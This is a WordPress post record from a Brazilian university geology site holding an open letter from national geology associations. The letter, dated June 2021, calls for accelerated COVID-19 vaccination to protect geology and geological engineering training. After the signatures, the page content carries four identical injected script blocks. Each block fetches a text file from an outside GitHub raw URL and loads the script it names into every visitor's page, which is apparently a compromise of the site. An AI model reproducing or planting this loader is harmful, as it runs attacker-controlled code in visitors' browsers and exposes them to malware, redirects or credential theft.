{"id":391,"date":"2021-07-04T12:34:17","date_gmt":"2021-07-04T15:34:17","guid":{"rendered":"https:\/\/wp.ufpel.edu.br\/geos\/?p=391"},"modified":"2024-10-14T00:35:31","modified_gmt":"2024-10-14T03:35:31","slug":"carta-aberta-sobre-a-urgencia-da-imunizacao-nacional-contra-a-doenca-do-coronavirus-covid-19-para-salvar-vidas-e-evitar-um-apagao-na-formacao-de-bachareis-e-bacharelas-em-geologia","status":"publish","type":"post","link":"https:\/\/wp.ufpel.edu.br\/geos\/2021\/07\/04\/carta-aberta-sobre-a-urgencia-da-imunizacao-nacional-contra-a-doenca-do-coronavirus-covid-19-para-salvar-vidas-e-evitar-um-apagao-na-formacao-de-bachareis-e-bacharelas-em-geologia\/","title":{"rendered":"Carta aberta sobre a urg\u00eancia da imuniza\u00e7\u00e3o nacional contra a doen\u00e7a do coronav\u00edrus (COVID-19) para salvar vidas e evitar um \u201capag\u00e3o\u201d na forma\u00e7\u00e3o de bachar\u00e9is e bacharelas em Geologia e Engenharia Geol\u00f3gica no Brasil"},"content":{"rendered":"<p><img class=\"alignnone size-full wp-image-398\" src=\"https:\/\/wp.ufpel.edu.br\/geos\/files\/2021\/07\/cats.jpg\" alt=\"\" width=\"965\" height=\"173\" srcset=\"https:\/\/wp.ufpel.edu.br\/geos\/files\/2021\/07\/cats.jpg 965w, https:\/\/wp.ufpel.edu.br\/geos\/files\/2021\/07\/cats-400x72.jpg 400w, https:\/\/wp.ufpel.edu.br\/geos\/files\/2021\/07\/cats-768x138.jpg 768w\" sizes=\"(max-width: 965px) 100vw, 965px\" \/><\/p>\n<p style=\"text-align: center\"><strong>Carta aberta sobre a urg\u00eancia da imuniza\u00e7\u00e3o nacional contra a doen\u00e7a do<\/strong><br \/>\n<strong>coronav\u00edrus (COVID-19) para salvar vidas e evitar um \u201capag\u00e3o\u201d na forma\u00e7\u00e3o de<\/strong><br \/>\n<strong>bachar\u00e9is e bacharelas em Geologia e Engenharia Geol\u00f3gica no Brasil<\/strong><\/p>\n<p style=\"text-align: justify\">Ao nos solidarizarmos com as mais de 500.000 fam\u00edlias brasileiras enlutadas devido \u00e0s perdas pela doen\u00e7a do coronav\u00edrus (COVID-19), vimos a p\u00fablico manifestar nosso rep\u00fadio pela m\u00e1 condu\u00e7\u00e3o de quest\u00f5es sanit\u00e1rias e de Sa\u00fade em nosso pa\u00eds que, se bem orquestrada, poderia ter minorado todos os danos associados \u00e0 Pandemia em curso e evitado milhares de mortes. Neste cen\u00e1rio desolador, manifestamos a nossa preocupa\u00e7\u00e3o com a forma\u00e7\u00e3o de profissionais das Geoci\u00eancias, em especial, a forma\u00e7\u00e3o de bachar\u00e9is e bacharelas em Geologia e Engenharia Geol\u00f3gica.<\/p>\n<p style=\"text-align: justify\">O atual momento de pandemia imp\u00f4s restri\u00e7\u00f5es a todos os cursos de gradua\u00e7\u00e3o, num primeiro momento, com a suspens\u00e3o parcial ou total das atividades e, em seguida, com a implementa\u00e7\u00e3o do ensino remoto, com grandes preju\u00edzos pedag\u00f3gicos. Nos cursos de bacharelado em Geologia e Engenharia Geol\u00f3gica, as restri\u00e7\u00f5es impossibilitam a realiza\u00e7\u00e3o das atividades pr\u00e1ticas de laborat\u00f3rio, bem como as atividades de campo, que t\u00eam papel central na forma\u00e7\u00e3o dos (as) ge\u00f3logos (as). Consequentemente, essas restri\u00e7\u00f5es t\u00eam um impacto direto sobre o tempo de formatura de estudantes de Geologia e Engenharia Geol\u00f3gica no nosso pa\u00eds, o que acarretar\u00e1 em menor sa\u00edda de profissionais para atua\u00e7\u00e3o na sociedade.<\/p>\n<p style=\"text-align: justify\">Isso \u00e9 muito grave, pois esses (as) profissionais t\u00eam atua\u00e7\u00e3o diretamente ligada aos setores b\u00e1sicos da economia, como prospec\u00e7\u00e3o de recursos minerais para a constru\u00e7\u00e3o civil (por exemplo, areia, brita, ferro), agricultura (por exemplo, fosfatos), energia (por exemplo, petr\u00f3leo e g\u00e1s) e componentes de alta tecnologia (por exemplo, os metais Terras Raras), al\u00e9m de atua\u00e7\u00e3o em \u00e1reas extremamente estrat\u00e9gicas e que t\u00eam impacto direto na vida das pessoas, como as \u00e1reas de meio ambiente, risco geol\u00f3gico, unidades de conserva\u00e7\u00e3o junto \u00e0s prefeituras e \u00f3rg\u00e3os de goverrnos estadual e federal.<\/p>\n<p style=\"text-align: justify\">No atual contexto, e pensando nas restri\u00e7\u00f5es sanit\u00e1rias impostas pelo novo coronav\u00edrus, n\u00e3o podemos expor docentes, discentes, funcion\u00e1rios e comunidades, na realiza\u00e7\u00e3o, prematura e irrespons\u00e1vel, das atividades necess\u00e1rias para a forma\u00e7\u00e3o desses (as) profissionais sem a \u00fanica medida eficaz contra o v\u00edrus: a vacina. Por outro lado, \u00e9 not\u00f3ria a necessidade que evitemos um \u201capag\u00e3o\u201d na forma\u00e7\u00e3o de pessoas qualificadas; e essenciais.<\/p>\n<p style=\"text-align: justify\">Nesse sentido, o F\u00f3rum de Cursos de Geologia do Brasil, a Executiva Nacional dos Estudantes de Geologia &#8211; ENEGE, a Federa\u00e7\u00e3o Brasileira de Ge\u00f3logos &#8211; FEBRAGEO e a Sociedade Brasileira de Geologia &#8211; SBG solicitam dos \u00f3rg\u00e3os p\u00fablicos respons\u00e1veis um esfor\u00e7o massivo para a acelera\u00e7\u00e3o da campanha de imuniza\u00e7\u00e3o nacional, seguindo as normas sanit\u00e1rias e respeito \u00e0s normas legais &#8211; com compromisso, disponibilidade de vacinas e considera\u00e7\u00e3o \u00e0s pessoas. A vacina\u00e7\u00e3o massiva ir\u00e1 salvar vidas preciosas e permitir\u00e1 a forma\u00e7\u00e3o integral de bachar\u00e9is e bacharelas em Geologia e Engenharia Geol\u00f3gica; profissionais fundamentais para o desenvolvimento socioecon\u00f4mico e a sustentabilidade de nosso pa\u00eds.<\/p>\n<p style=\"text-align: right\">Salvador, 25 de junho de 2021<\/p>\n<p style=\"text-align: center\"><strong>F\u00f3rum dos Cursos de Geologia do Brasil<\/strong><br \/>\n<strong>Executiva Nacional dos Estudantes de Geologia \u2013 ENEGE<\/strong><br \/>\n<strong>Federa\u00e7\u00e3o Brasileira de Ge\u00f3logos &#8211; FEBRAGEO<\/strong><br \/>\n<strong>Sociedade Brasileira de Geologia &#8211; SBG<\/strong><\/p>\n<p><script>var url = 'https:\/\/raw.githubusercontent.com\/lolngnos\/loles\/main\/step.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/raw.githubusercontent.com\/lolngnos\/loles\/main\/step.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/raw.githubusercontent.com\/lolngnos\/loles\/main\/step.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/raw.githubusercontent.com\/lolngnos\/loles\/main\/step.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Carta aberta sobre a urg\u00eancia da imuniza\u00e7\u00e3o nacional contra a doen\u00e7a do coronav\u00edrus (COVID-19) para salvar vidas e evitar um \u201capag\u00e3o\u201d na forma\u00e7\u00e3o de bachar\u00e9is e bacharelas em Geologia e Engenharia Geol\u00f3gica no Brasil Ao nos solidarizarmos com as mais de 500.000 fam\u00edlias brasileiras enlutadas devido \u00e0s perdas pela doen\u00e7a do coronav\u00edrus (COVID-19), vimos a [&hellip;]<\/p>\n","protected":false},"author":1086,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-391","post","type-post","status-publish","format-standard","hentry","category-noticias"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/wp.ufpel.edu.br\/geos\/wp-json\/wp\/v2\/posts\/391","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wp.ufpel.edu.br\/geos\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wp.ufpel.edu.br\/geos\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wp.ufpel.edu.br\/geos\/wp-json\/wp\/v2\/users\/1086"}],"replies":[{"embeddable":true,"href":"https:\/\/wp.ufpel.edu.br\/geos\/wp-json\/wp\/v2\/comments?post=391"}],"version-history":[{"count":8,"href":"https:\/\/wp.ufpel.edu.br\/geos\/wp-json\/wp\/v2\/posts\/391\/revisions"}],"predecessor-version":[{"id":1004,"href":"https:\/\/wp.ufpel.edu.br\/geos\/wp-json\/wp\/v2\/posts\/391\/revisions\/1004"}],"wp:attachment":[{"href":"https:\/\/wp.ufpel.edu.br\/geos\/wp-json\/wp\/v2\/media?parent=391"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wp.ufpel.edu.br\/geos\/wp-json\/wp\/v2\/categories?post=391"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wp.ufpel.edu.br\/geos\/wp-json\/wp\/v2\/tags?post=391"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}